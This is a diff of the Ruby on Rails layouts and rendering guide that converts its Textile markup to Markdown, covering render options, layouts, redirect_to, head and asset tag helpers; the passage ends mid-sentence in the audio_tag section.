`:inline` -The +render+ method can do without a view completely, if you're willing to use the +:inline+ option to supply ERB as part of the method call. This is perfectly valid: +The `render` method can do without a view completely, if you're willing to use the `:inline` option to supply ERB as part of the method call. This is perfectly valid: -<ruby> +```ruby render :inline => "<% products.each do |p| %><p><%= p.name %></p><% end %>" -</ruby> +``` WARNING: There is seldom any good reason to use this option. Mixing ERB into your controllers defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. Use a separate erb view instead. -By default, inline rendering uses ERB. You can force it to use Builder instead with the +:type+ option: +By default, inline rendering uses ERB. You can force it to use Builder instead with the `:type` option: -<ruby> +```ruby render :inline => "xml.p {'Horrid coding practice!'}", :type => :builder -</ruby> +``` -h5. Rendering Text +#### Rendering Text -You can send plain text - with no markup at all - back to the browser by using the +:text+ option to +render+: +You can send plain text - with no markup at all - back to the browser by using the `:text` option to `render`: -<ruby> +```ruby render :text => "OK" -</ruby> +``` TIP: Rendering pure text is most useful when you're responding to AJAX or web service requests that are expecting something other than proper HTML. -NOTE: By default, if you use the +:text+ option, the text is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the +:layout => true+ option. +NOTE: By default, if you use the `:text` option, the text is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the `:layout => true` option. -h5. Rendering JSON +#### Rendering JSON JSON is a JavaScript data format used by many AJAX libraries. Rails has built-in support for converting objects to JSON and rendering that JSON back to the browser: -<ruby> +```ruby render :json => @product -</ruby> +``` -TIP: You don't need to call +to_json+ on the object that you want to render. If you use the +:json+ option, +render+ will automatically call +to_json+ for you. +TIP: You don't need to call `to_json` on the object that you want to render. If you use the `:json` option, `render` will automatically call `to_json` for you. -h5. Rendering XML +#### Rendering XML Rails also has built-in support for converting objects to XML and rendering that XML back to the caller: -<ruby> +```ruby render :xml => @product -</ruby> +``` -TIP: You don't need to call +to_xml+ on the object that you want to render. If you use the +:xml+ option, +render+ will automatically call +to_xml+ for you. +TIP: You don't need to call `to_xml` on the object that you want to render. If you use the `:xml` option, `render` will automatically call `to_xml` for you. -h5. Rendering Vanilla JavaScript +#### Rendering Vanilla JavaScript Rails can render vanilla JavaScript: -<ruby> +```ruby render :js => "alert('Hello Rails');" -</ruby> +``` -This will send the supplied string to the browser with a MIME type of +text/javascript+. +This will send the supplied string to the browser with a MIME type of `text/javascript`. -h5. Options for +render+ +#### Options for `render` -Calls to the +render+ method generally accept four options: +Calls to the `render` method generally accept four options: -* +:content_type+ -* +:layout+ -* +:status+ -* +:location+ +* `:content_type` +* `:layout` +* `:status` +* `:location` -h6. The +:content_type+ Option +##### The `:content_type` Option -By default, Rails will serve the results of a rendering operation with the MIME content-type of +text/html+ (or +application/json+ if you use the +:json+ option, or +application/xml+ for the +:xml+ option.). There are times when you might like to change this, and you can do so by setting the +:content_type+ option: +By default, Rails will serve the results of a rendering operation with the MIME content-type of `text/html` (or `application/json` if you use the `:json` option, or `application/xml` for the `:xml` option.). There are times when you might like to change this, and you can do so by setting the `:content_type` option: -<ruby> +```ruby render :file => filename, :content_type => "application/rss" -</ruby> +``` -h6. The +:layout+ Option +##### The `:layout` Option -With most of the options to +render+, the rendered content is displayed as part of the current layout. You'll learn more about layouts and how to use them later in this guide. +With most of the options to `render`, the rendered content is displayed as part of the current layout. You'll learn more about layouts and how to use them later in this guide. -You can use the +:layout+ option to tell Rails to use a specific file as the layout for the current action: +You can use the `:layout` option to tell Rails to use a specific file as the layout for the current action: -<ruby> +```ruby render :layout => "special_layout" -</ruby> +``` You can also tell Rails to render with no layout at all: -<ruby> +```ruby render :layout => false -</ruby> +``` -h6. The +:status+ Option +##### The `:status` Option -Rails will automatically generate a response with the correct HTTP status code (in most cases, this is +200 OK+). You can use the +:status+ option to change this: +Rails will automatically generate a response with the correct HTTP status code (in most cases, this is `200 OK`). You can use the `:status` option to change this: -<ruby> +```ruby render :status => 500 render :status => :forbidden -</ruby> +``` Rails understands both numeric and symbolic status codes. -h6. The +:location+ Option +##### The `:location` Option -You can use the +:location+ option to set the HTTP +Location+ header: +You can use the `:location` option to set the HTTP `Location` header: -<ruby> +```ruby render :xml => photo, :location => photo_url(photo) -</ruby> +``` -h5. Finding Layouts +#### Finding Layouts -To find the current layout, Rails first looks for a file in +app/views/layouts+ with the same base name as the controller. For example, rendering actions from the +PhotosController+ class will use +app/views/layouts/photos.html.erb+ (or +app/views/layouts/photos.builder+). If there is no such controller-specific layout, Rails will use +app/views/layouts/application.html.erb+ or +app/views/layouts/application.builder+. If there is no +.erb+ layout, Rails will use a +.builder+ layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions. +To find the current layout, Rails first looks for a file in `app/views/layouts` with the same base name as the controller. For example, rendering actions from the `PhotosController` class will use `app/views/layouts/photos.html.erb` (or `app/views/layouts/photos.builder`). If there is no such controller-specific layout, Rails will use `app/views/layouts/application.html.erb` or `app/views/layouts/application.builder`. If there is no `.erb` layout, Rails will use a `.builder` layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions. -h6. Specifying Layouts for Controllers +##### Specifying Layouts for Controllers -You can override the default layout conventions in your controllers by using the +layout+ declaration. For example: +You can override the default layout conventions in your controllers by using the `layout` declaration. For example: -<ruby> +```ruby class ProductsController < ApplicationController layout "inventory" #... end -</ruby> +``` -With this declaration, all of the views rendered by the products controller will use +app/views/layouts/inventory.html.erb+ as their layout. +With this declaration, all of the views rendered by the products controller will use `app/views/layouts/inventory.html.erb` as their layout. -To assign a specific layout for the entire application, use a +layout+ declaration in your +ApplicationController+ class: +To assign a specific layout for the entire application, use a `layout` declaration in your `ApplicationController` class: -<ruby> +```ruby class ApplicationController < ActionController::Base layout "main" #... end -</ruby> +``` -With this declaration, all of the views in the entire application will use +app/views/layouts/main.html.erb+ for their layout. +With this declaration, all of the views in the entire application will use `app/views/layouts/main.html.erb` for their layout. -h6. Choosing Layouts at Runtime +##### Choosing Layouts at Runtime You can use a symbol to defer the choice of layout until a request is processed: -<ruby> +```ruby class ProductsController < ApplicationController layout "products_layout" @@ -388,90 +391,90 @@ class ProductsController < ApplicationController end end -</ruby> +``` Now, if the current user is a special user, they'll get a special layout when viewing a product. -You can even use an inline method, such as a Proc, to determine the layout. For example, if you pass a Proc object, the block you give the Proc will be given the +controller+ instance, so the layout can be determined based on the current request: +You can even use an inline method, such as a Proc, to determine the layout. For example, if you pass a Proc object, the block you give the Proc will be given the `controller` instance, so the layout can be determined based on the current request: -<ruby> +```ruby class ProductsController < ApplicationController layout Proc.new { |controller| controller.request.xhr? ? "popup" : "application" } end -</ruby> +``` -h6. Conditional Layouts +##### Conditional Layouts -Layouts specified at the controller level support the +:only+ and +:except+ options. These options take either a method name, or an array of method names, corresponding to method names within the controller: +Layouts specified at the controller level support the `:only` and `:except` options. These options take either a method name, or an array of method names, corresponding to method names within the controller: -<ruby> +```ruby class ProductsController < ApplicationController layout "product", :except => [:index, :rss] end -</ruby> +``` -With this declaration, the +product+ layout would be used for everything but the +rss+ and +index+ methods. +With this declaration, the `product` layout would be used for everything but the `rss` and `index` methods. -h6. Layout Inheritance +##### Layout Inheritance Layout declarations cascade downward in the hierarchy, and more specific layout declarations always override more general ones. For example: -* +application_controller.rb+ +* `application_controller.rb` -<ruby> -class ApplicationController < ActionController::Base - layout "main" -end -</ruby> + ```ruby + class ApplicationController < ActionController::Base + layout "main" + end + ``` -* +posts_controller.rb+ +* `posts_controller.rb` -<ruby> -class PostsController < ApplicationController -end -</ruby> + ```ruby + class PostsController < ApplicationController + end + ``` -* +special_posts_controller.rb+ +* `special_posts_controller.rb` -<ruby> -class SpecialPostsController < PostsController - layout "special" -end -</ruby> + ```ruby + class SpecialPostsController < PostsController + layout "special" + end + ``` -* +old_posts_controller.rb+ +* `old_posts_controller.rb` -<ruby> -class OldPostsController < SpecialPostsController - layout false + ```ruby + class OldPostsController < SpecialPostsController + layout false - def show - @post = Post.find(params[:id]) - end + def show + @post = Post.find(params[:id]) + end - def index - @old_posts = Post.older - render :layout => "old" - end - # ... -end -</ruby> + def index + @old_posts = Post.older + render :layout => "old" + end + # ... + end + ``` In this application: -* In general, views will be rendered in the +main+ layout -* +PostsController#index+ will use the +main+ layout -* +SpecialPostsController#index+ will use the +special+ layout -* +OldPostsController#show+ will use no layout at all -* +OldPostsController#index+ will use the +old+ layout +* In general, views will be rendered in the `main` layout +* `PostsController#index` will use the `main` layout +* `SpecialPostsController#index` will use the `special` layout +* `OldPostsController#show` will use no layout at all +* `OldPostsController#index` will use the `old` layout -h5. Avoiding Double Render Errors +#### Avoiding Double Render Errors -Sooner or later, most Rails developers will see the error message "Can only render or redirect once per action". While this is annoying, it's relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that +render+ works. +Sooner or later, most Rails developers will see the error message "Can only render or redirect once per action". While this is annoying, it's relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that `render` works. For example, here's some code that will trigger this error: -<ruby> +```ruby def show @book = Book.find(params[:id]) if @book.special? @@ -479,11 +482,11 @@ def show end render :action => "regular_show" end -</ruby> +``` -If +@book.special?+ evaluates to +true+, Rails will start the rendering process to dump the +@book+ variable into the +special_show+ view. But this will _not_ stop the rest of the code in the +show+ action from running, and when Rails hits the end of the action, it will start to render the +regular_show+ view - and throw an error. The solution is simple: make sure that you have only one call to +render+ or +redirect+ in a single code path. One thing that can help is +and return+. Here's a patched version of the method: +If `@book.special?` evaluates to `true`, Rails will start the rendering process to dump the `@book` variable into the `special_show` view. But this will _not_ stop the rest of the code in the `show` action from running, and when Rails hits the end of the action, it will start to render the `regular_show` view - and throw an error. The solution is simple: make sure that you have only one call to `render` or `redirect` in a single code path. One thing that can help is `and return`. Here's a patched version of the method: -<ruby> +```ruby def show @book = Book.find(params[:id]) if @book.special? @@ -491,54 +494,54 @@ def show end render :action => "regular_show" end -</ruby> +``` -Make sure to use +and return+ instead of +&& return+ because +&& return+ will not work due to the operator precedence in the Ruby Language. +Make sure to use `and return` instead of `&& return` because `&& return` will not work due to the operator precedence in the Ruby Language. -Note that the implicit render done by ActionController detects if +render+ has been called, so the following will work without errors: +Note that the implicit render done by ActionController detects if `render` has been called, so the following will work without errors: -<ruby> +```ruby def show @book = Book.find(params[:id]) if @book.special? render :action => "special_show" end end -</ruby> +``` -This will render a book with +special?+ set with the +special_show+ template, while other books will render with the default +show+ template. +This will render a book with `special?` set with the `special_show` template, while other books will render with the default `show` template. -h4. Using +redirect_to+ +### Using `redirect_to` -Another way to handle returning responses to an HTTP request is with +redirect_to+. As you've seen, +render+ tells Rails which view (or other asset) to use in constructing a response. The +redirect_to+ method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call: +Another way to handle returning responses to an HTTP request is with `redirect_to`. As you've seen, `render` tells Rails which view (or other asset) to use in constructing a response. The `redirect_to` method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call: -<ruby> +```ruby redirect_to photos_url -</ruby> +``` -You can use +redirect_to+ with any arguments that you could use with +link_to+ or +url_for+. There's also a special redirect that sends the user back to the page they just came from: +You can use `redirect_to` with any arguments that you could use with `link_to` or `url_for`. There's also a special redirect that sends the user back to the page they just came from: -<ruby> +```ruby redirect_to :back -</ruby> +``` -h5. Getting a Different Redirect Status Code +#### Getting a Different Redirect Status Code -Rails uses HTTP status code 302, a temporary redirect, when you call +redirect_to+. If you'd like to use a different status code, perhaps 301, a permanent redirect, you can use the +:status+ option: +Rails uses HTTP status code 302, a temporary redirect, when you call `redirect_to`. If you'd like to use a different status code, perhaps 301, a permanent redirect, you can use the `:status` option: -<ruby> +```ruby redirect_to photos_path, :status => 301 -</ruby> +``` -Just like the +:status+ option for +render+, +:status+ for +redirect_to+ accepts both numeric and symbolic header designations. +Just like the `:status` option for `render`, `:status` for `redirect_to` accepts both numeric and symbolic header designations. -h5. The Difference Between +render+ and +redirect_to+ +#### The Difference Between `render` and `redirect_to` -Sometimes inexperienced developers think of +redirect_to+ as a sort of +goto+ command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back an HTTP 302 status code. +Sometimes inexperienced developers think of `redirect_to` as a sort of `goto` command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back an HTTP 302 status code. Consider these actions to see the difference: -<ruby> +```ruby def index @books = Book.all end @@ -549,11 +552,11 @@ def show render :action => "index" end end -</ruby> +``` -With the code in this form, there will likely be a problem if the +@book+ variable is +nil+. Remember, a +render :action+ doesn't run any code in the target action, so nothing will set up the +@books+ variable that the +index+ view will probably require. One way to fix this is to redirect instead of rendering: +With the code in this form, there will likely be a problem if the `@book` variable is `nil`. Remember, a `render :action` doesn't run any code in the target action, so nothing will set up the `@books` variable that the `index` view will probably require. One way to fix this is to redirect instead of rendering: -<ruby> +```ruby def index @books = Book.all end @@ -564,15 +567,15 @@ def show redirect_to :action => :index end end -</ruby> +``` -With this code, the browser will make a fresh request for the index page, the code in the +index+ method will run, and all will be well. +With this code, the browser will make a fresh request for the index page, the code in the `index` method will run, and all will be well. -The only downside to this code is that it requires a round trip to the browser: the browser requested the show action with +/books/1+ and the controller finds that there are no books, so the controller sends out a 302 redirect response to the browser telling it to go to +/books/+, the browser complies and sends a new request back to the controller asking now for the +index+ action, the controller then gets all the books in the database and renders the index template, sending it back down to the browser which then shows it on your screen. +The only downside to this code is that it requires a round trip to the browser: the browser requested the show action with `/books/1` and the controller finds that there are no books, so the controller sends out a 302 redirect response to the browser telling it to go to `/books/`, the browser complies and sends a new request back to the controller asking now for the `index` action, the controller then gets all the books in the database and renders the index template, sending it back down to the browser which then shows it on your screen. While in a small application, this added latency might not be a problem, it is something to think about if response time is a concern. We can demonstrate one way to handle this with a contrived example: -<ruby> +```ruby def index @books = Book.all end @@ -584,21 +587,21 @@ def show render "index", :alert => "Your book was not found!" end end -</ruby> +``` -This would detect that there are no books with the specified ID, populate the +@books+ instance variable with all the books in the model, and then directly render the +index.html.erb+ template, returning it to the browser with a flash alert message to tell the user what happened. +This would detect that there are no books with the specified ID, populate the `@books` instance variable with all the books in the model, and then directly render the `index.html.erb` template, returning it to the browser with a flash alert message to tell the user what happened. -h4. Using +head+ To Build Header-Only Responses +### Using `head` To Build Header-Only Responses -The +head+ method can be used to send responses with only headers to the browser. It provides a more obvious alternative to calling +render :nothing+. The +head+ method takes one parameter, which is interpreted as a hash of header names and values. For example, you can return only an error header: +The `head` method can be used to send responses with only headers to the browser. It provides a more obvious alternative to calling `render :nothing`. The `head` method takes one parameter, which is interpreted as a hash of header names and values. For example, you can return only an error header: -<ruby> +```ruby head :bad_request -</ruby> +``` This would produce the following header: -<shell> +``` HTTP/1.1 400 Bad Request Connection: close Date: Sun, 24 Jan 2010 12:15:53 GMT @@ -607,17 +610,17 @@ Content-Type: text/html; charset=utf-8 X-Runtime: 0.013483 Set-Cookie: _blog_session=...snip...; path=/; HttpOnly Cache-Control: no-cache -</shell> +``` Or you can use other HTTP headers to convey other information: -<ruby> +```ruby head :created, :location => photo_path(@photo) -</ruby> +``` Which would produce: -<shell> +``` HTTP/1.1 201 Created Connection: close Date: Sun, 24 Jan 2010 12:16:44 GMT @@ -627,321 +630,322 @@ Content-Type: text/html; charset=utf-8 X-Runtime: 0.083496 Set-Cookie: _blog_session=...snip...; path=/; HttpOnly Cache-Control: no-cache -</shell> +``` -h3. Structuring Layouts +Structuring Layouts +------------------- When Rails renders a view as a response, it does so by combining the view with the current layout, using the rules for finding the current layout that were covered earlier in this guide. Within a layout, you have access to three tools for combining different bits of output to form the overall response: * Asset tags -* +yield+ and +content_for+ +* `yield` and `content_for` * Partials -h4. Asset Tag Helpers +### Asset Tag Helpers Asset tag helpers provide methods for generating HTML that link views to feeds, JavaScript, stylesheets, images, videos and audios. There are six asset tag helpers available in Rails: -* +auto_discovery_link_tag+ -* +javascript_include_tag+ -* +stylesheet_link_tag+ -* +image_tag+ -* +video_tag+ -* +audio_tag+ +* `auto_discovery_link_tag` +* `javascript_include_tag` +* `stylesheet_link_tag` +* `image_tag` +* `video_tag` +* `audio_tag` -You can use these tags in layouts or other views, although the +auto_discovery_link_tag+, +javascript_include_tag+, and +stylesheet_link_tag+, are most commonly used in the +<head>+ section of a layout. +You can use these tags in layouts or other views, although the `auto_discovery_link_tag`, `javascript_include_tag`, and `stylesheet_link_tag`, are most commonly used in the `<head>` section of a layout. WARNING: The asset tag helpers do _not_ verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link. -h5. Linking to Feeds with the +auto_discovery_link_tag+ +#### Linking to Feeds with the `auto_discovery_link_tag` -The +auto_discovery_link_tag+ helper builds HTML that most browsers and newsreaders can use to detect the presence of RSS or Atom feeds. It takes the type of the link (+:rss+ or +:atom+), a hash of options that are passed through to url_for, and a hash of options for the tag: +The `auto_discovery_link_tag` helper builds HTML that most browsers and newsreaders can use to detect the presence of RSS or Atom feeds. It takes the type of the link (`:rss` or `:atom`), a hash of options that are passed through to url_for, and a hash of options for the tag: -<erb> +```erb <%= auto_discovery_link_tag(:rss, {:action => "feed"}, {:title => "RSS Feed"}) %> -</erb> +``` -There are three tag options available for the +auto_discovery_link_tag+: +There are three tag options available for the `auto_discovery_link_tag`: -* +:rel+ specifies the +rel+ value in the link. The default value is "alternate". -* +:type+ specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically. -* +:title+ specifies the title of the link. The default value is the uppercased +:type+ value, for example, "ATOM" or "RSS". +* `:rel` specifies the `rel` value in the link. The default value is "alternate". +* `:type` specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically. +* `:title` specifies the title of the link. The default value is the uppercased `:type` value, for example, "ATOM" or "RSS". -h5. Linking to JavaScript Files with the +javascript_include_tag+ +#### Linking to JavaScript Files with the `javascript_include_tag` -The +javascript_include_tag+ helper returns an HTML +script+ tag for each source provided. +The `javascript_include_tag` helper returns an HTML `script` tag for each source provided. -If you are using Rails with the "Asset Pipeline":asset_pipeline.html enabled, this helper will generate a link to +/assets/javascripts/+ rather than +public/javascripts+ which was used in earlier versions of Rails. This link is then served by the Sprockets gem, which was introduced in Rails 3.1. +If you are using Rails with the [Asset Pipeline](asset_pipeline.html) enabled, this helper will generate a link to `/assets/javascripts/` rather than `public/javascripts` which was used in earlier versions of Rails. This link is then served by the Sprockets gem, which was introduced in Rails 3.1. -A JavaScript file within a Rails application or Rails engine goes in one of three locations: +app/assets+, +lib/assets+ or +vendor/assets+. These locations are explained in detail in the "Asset Organization section in the Asset Pipeline Guide":asset_pipeline.html#asset-organization +A JavaScript file within a Rails application or Rails engine goes in one of three locations: `app/assets`, `lib/assets` or `vendor/assets`. These locations are explained in detail in the [Asset Organization section in the Asset Pipeline Guide](asset_pipeline.html#asset-organization) -You can specify a full path relative to the document root, or a URL, if you prefer. For example, to link to a JavaScript file that is inside a directory called +javascripts+ inside of one of +app/assets+, +lib/assets+ or +vendor/assets+, you would do this: +You can specify a full path relative to the document root, or a URL, if you prefer. For example, to link to a JavaScript file that is inside a directory called `javascripts` inside of one of `app/assets`, `lib/assets` or `vendor/assets`, you would do this: -<erb> +```erb <%= javascript_include_tag "main" %> -</erb> +``` -Rails will then output a +script+ tag such as this: +Rails will then output a `script` tag such as this: -<html> +```html <script src='/assets/main.js'></script> -</html> +``` The request to this asset is then served by the Sprockets gem. -To include multiple files such as +app/assets/javascripts/main.js+ and +app/assets/javascripts/columns.js+ at the same time: +To include multiple files such as `app/assets/javascripts/main.js` and `app/assets/javascripts/columns.js` at the same time: -<erb> +```erb <%= javascript_include_tag "main", "columns" %> -</erb> +``` -To include +app/assets/javascripts/main.js+ and +app/assets/javascripts/photos/columns.js+: +To include `app/assets/javascripts/main.js` and `app/assets/javascripts/photos/columns.js`: -<erb> +```erb <%= javascript_include_tag "main", "/photos/columns" %> -</erb> +``` -To include +http://example.com/main.js+: +To include `http://example.com/main.js`: -<erb> +```erb <%= javascript_include_tag "http://example.com/main.js" %> -</erb> +``` -If the application does not use the asset pipeline, the +:defaults+ option loads jQuery by default: +If the application does not use the asset pipeline, the `:defaults` option loads jQuery by default: -<erb> +```erb <%= javascript_include_tag :defaults %> -</erb> +``` -Outputting +script+ tags such as this: +Outputting `script` tags such as this: -<html> +```html <script src="/javascripts/jquery.js"></script> <script src="/javascripts/jquery_ujs.js"></script> -</html> +``` -These two files for jQuery, +jquery.js+ and +jquery_ujs.js+ must be placed inside +public/javascripts+ if the application doesn't use the asset pipeline. These files can be downloaded from the "jquery-rails repository on GitHub":https://github.com/indirect/jquery-rails/tree/master/vendor/assets/javascripts +These two files for jQuery, `jquery.js` and `jquery_ujs.js` must be placed inside `public/javascripts` if the application doesn't use the asset pipeline. These files can be downloaded from the [jquery-rails repository on GitHub](https://github.com/indirect/jquery-rails/tree/master/vendor/assets/javascripts) -WARNING: If you are using the asset pipeline, this tag will render a +script+ tag for an asset called +defaults.js+, which would not exist in your application unless you've explicitly created it. +WARNING: If you are using the asset pipeline, this tag will render a `script` tag for an asset called `defaults.js`, which would not exist in your application unless you've explicitly created it. -And you can in any case override the +:defaults+ expansion in <tt>config/application.rb</tt>: +And you can in any case override the `:defaults` expansion in `config/application.rb`: -<ruby> +```ruby config.action_view.javascript_expansions[:defaults] = %w(foo.js bar.js) -</ruby> +``` You can also define new defaults: -<ruby> +```ruby config.action_view.javascript_expansions[:projects] = %w(projects.js tickets.js) -</ruby> +``` -And use them by referencing them exactly like +:defaults+: +And use them by referencing them exactly like `:defaults`: -<erb> +```erb <%= javascript_include_tag :projects %> -</erb> +``` -When using <tt>:defaults</tt>, if an <tt>application.js</tt> file exists in <tt>public/javascripts</tt> it will be included as well at the end. +When using `:defaults`, if an `application.js` file exists in `public/javascripts` it will be included as well at the end. -Also, if the asset pipeline is disabled, the +:all+ expansion loads every JavaScript file in +public/javascripts+: +Also, if the asset pipeline is disabled, the `:all` expansion loads every JavaScript file in `public/javascripts`: -<erb> +```erb <%= javascript_include_tag :all %> -</erb> +``` Note that your defaults of choice will be included first, so they will be available to all subsequently included files. -You can supply the +:recursive+ option to load files in subfolders of +public/javascripts+ as well: +You can supply the `:recursive` option to load files in subfolders of `public/javascripts` as well: -<erb> +```erb <%= javascript_include_tag :all, :recursive => true %> -</erb> +``` -If you're loading multiple JavaScript files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify +:cache => true+ in your +javascript_include_tag+: +If you're loading multiple JavaScript files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify `:cache => true` in your `javascript_include_tag`: -<erb> +```erb <%= javascript_include_tag "main", "columns", :cache => true %> -</erb> +``` -By default, the combined file will be delivered as +javascripts/all.js+. You can specify a location for the cached asset file instead: +By default, the combined file will be delivered as `javascripts/all.js`. You can specify a location for the cached asset file instead: -<erb> +```erb <%= javascript_include_tag "main", "columns", :cache => "cache/main/display" %> -</erb> +``` -You can even use dynamic paths such as +cache/#{current_site}/main/display+. +You can even use dynamic paths such as `cache/#{current_site}/main/display`. -h5. Linking to CSS Files with the +stylesheet_link_tag+ +#### Linking to CSS Files with the `stylesheet_link_tag` -The +stylesheet_link_tag+ helper returns an HTML +<link>+ tag for each source provided. +The `stylesheet_link_tag` helper returns an HTML `<link>` tag for each source provided. -If you are using Rails with the "Asset Pipeline" enabled, this helper will generate a link to +/assets/stylesheets/+. This link is then processed by the Sprockets gem. A stylesheet file can be stored in one of three locations: +app/assets+, +lib/assets+ or +vendor/assets+. +If you are using Rails with the "Asset Pipeline" enabled, this helper will generate a link to `/assets/stylesheets/`. This link is then processed by the Sprockets gem. A stylesheet file can be stored in one of three locations: `app/assets`, `lib/assets` or `vendor/assets`. -You can specify a full path relative to the document root, or a URL. For example, to link to a stylesheet file that is inside a directory called +stylesheets+ inside of one of +app/assets+, +lib/assets+ or +vendor/assets+, you would do this: +You can specify a full path relative to the document root, or a URL. For example, to link to a stylesheet file that is inside a directory called `stylesheets` inside of one of `app/assets`, `lib/assets` or `vendor/assets`, you would do this: -<erb> +```erb <%= stylesheet_link_tag "main" %> -</erb> +``` -To include +app/assets/stylesheets/main.css+ and +app/assets/stylesheets/columns.css+: +To include `app/assets/stylesheets/main.css` and `app/assets/stylesheets/columns.css`: -<erb> +```erb <%= stylesheet_link_tag "main", "columns" %> -</erb> +``` -To include +app/assets/stylesheets/main.css+ and +app/assets/stylesheets/photos/columns.css+: +To include `app/assets/stylesheets/main.css` and `app/assets/stylesheets/photos/columns.css`: -<erb> +```erb <%= stylesheet_link_tag "main", "/photos/columns" %> -</erb> +``` -To include +http://example.com/main.css+: +To include `http://example.com/main.css`: -<erb> +```erb <%= stylesheet_link_tag "http://example.com/main.css" %> -</erb> +``` -By default, the +stylesheet_link_tag+ creates links with +media="screen" rel="stylesheet"+. You can override any of these defaults by specifying an appropriate option (+:media+, +:rel+): +By default, the `stylesheet_link_tag` creates links with `media="screen" rel="stylesheet"`. You can override any of these defaults by specifying an appropriate option (`:media`, `:rel`): -<erb> +```erb <%= stylesheet_link_tag "main_print", :media => "print" %> -</erb> +``` -If the asset pipeline is disabled, the +all+ option links every CSS file in +public/stylesheets+: +If the asset pipeline is disabled, the `all` option links every CSS file in `public/stylesheets`: -<erb> +```erb <%= stylesheet_link_tag :all %> -</erb> +``` -You can supply the +:recursive+ option to link files in subfolders of +public/stylesheets+ as well: +You can supply the `:recursive` option to link files in subfolders of `public/stylesheets` as well: -<erb> +```erb <%= stylesheet_link_tag :all, :recursive => true %> -</erb> +``` -If you're loading multiple CSS files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify +:cache => true+ in your +stylesheet_link_tag+: +If you're loading multiple CSS files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify `:cache => true` in your `stylesheet_link_tag`: -<erb> +```erb <%= stylesheet_link_tag "main", "columns", :cache => true %> -</erb> +``` -By default, the combined file will be delivered as +stylesheets/all.css+. You can specify a location for the cached asset file instead: +By default, the combined file will be delivered as `stylesheets/all.css`. You can specify a location for the cached asset file instead: -<erb> +```erb <%= stylesheet_link_tag "main", "columns", :cache => "cache/main/display" %> -</erb> +``` -You can even use dynamic paths such as +cache/#{current_site}/main/display+. +You can even use dynamic paths such as `cache/#{current_site}/main/display`. -h5. Linking to Images with the +image_tag+ +#### Linking to Images with the `image_tag` -The +image_tag+ helper builds an HTML +<img />+ tag to the specified file. By default, files are loaded from +public/images+. +The `image_tag` helper builds an HTML `<img />` tag to the specified file. By default, files are loaded from `public/images`. -WARNING: Note that you must specify the extension of the image. Previous versions of Rails would allow you to just use the image name and would append +.png+ if no extension was given but Rails 3.0 does not. +WARNING: Note that you must specify the extension of the image. Previous versions of Rails would allow you to just use the image name and would append `.png` if no extension was given but Rails 3.0 does not. -<erb> +```erb <%= image_tag "header.png" %> -</erb> +``` You can supply a path to the image if you like: -<erb> +```erb <%= image_tag "icons/delete.gif" %> -</erb> +``` You can supply a hash of additional HTML options: -<erb> +```erb <%= image_tag "icons/delete.gif", {:height => 45} %> -</erb> +``` You can supply alternate text for the image which will be used if the user has images turned off in their browser. If you do not specify an alt text explicitly, it defaults to the file name of the file, capitalized and with no extension. For example, these two image tags would return the same code: -<erb> +```erb <%= image_tag "home.gif" %> <%= image_tag "home.gif", :alt => "Home" %> -</erb> +``` You can also specify a special size tag, in the format "{width}x{height}": -<erb> +```erb <%= image_tag "home.gif", :size => "50x20" %> -</erb> +``` -In addition to the above special tags, you can supply a final hash of standard HTML options, such as +:class+, +:id+ or +:name+: +In addition to the above special tags, you can supply a final hash of standard HTML options, such as `:class`, `:id` or `:name`: -<erb> +```erb <%= image_tag "home.gif", :alt => "Go Home", :id => "HomeImage", :class => "nav_bar" %> -</erb> +``` -h5. Linking to Videos with the +video_tag+ +#### Linking to Videos with the `video_tag` -The +video_tag+ helper builds an HTML 5 +<video>+ tag to the specified file. By default, files are loaded from +public/videos+. +The `video_tag` helper builds an HTML 5 `<video>` tag to the specified file. By default, files are loaded from `public/videos`. -<erb> +```erb <%= video_tag "movie.ogg" %> -</erb> +``` Produces -<erb> +```erb <video src="/videos/movie.ogg" /> -</erb> +``` -Like an +image_tag+ you can supply a path, either absolute, or relative to the +public/videos+ directory. Additionally you can specify the +:size => "#{width}x#{height}"+ option just like an +image_tag+. Video tags can also have any of the HTML options specified at the end (+id+, +class+ et al). +Like an `image_tag` you can supply a path, either absolute, or relative to the `public/videos` directory. Additionally you can specify the `:size => "#{width}x#{height}"` option just like an `image_tag`. Video tags can also have any of the HTML options specified at the end (`id`, `class` et al). -The video tag also supports all of the +<video>+ HTML options through the HTML options hash, including: +The video tag also supports all of the `<video>` HTML options through the HTML options hash, including: -* +:poster => "image_name.png"+, provides an image to put in place of the video before it starts playing. -* +:autoplay => true+, starts playing the video on page load. -* +:loop => true+, loops the video once it gets to the end. -* +:controls => true+, provides browser supplied controls for the user to interact with the video. -* +:autobuffer => true+, the video will pre load the file for the user on page load. +* `:poster => "image_name.png"`, provides an image to put in place of the video before it starts playing. +* `:autoplay => true`, starts playing the video on page load. +* `:loop => true`, loops the video once it gets to the end. +* `:controls => true`, provides browser supplied controls for the user to interact with the video. +* `:autobuffer => true`, the video will pre load the file for the user on page load. -You can also specify multiple videos to play by passing an array of videos to the +video_tag+: +You can also specify multiple videos to play by passing an array of videos to the `video_tag`: -<erb> +```erb <%= video_tag ["trailer.ogg", "movie.ogg"] %> -</erb> +``` This will produce: -<erb> +```erb <video><source src="trailer.ogg" /><source src="movie.ogg" /></video> -</erb> +``` -h5. Linking to Audio Files with the +audio_tag+ +#### Linking to Audio Files with the `audio_tag` -The +audio_tag+ helper builds an HTML 5 +<audio>+ tag to the specified file. By default, files are loaded from +public/audios+. +The 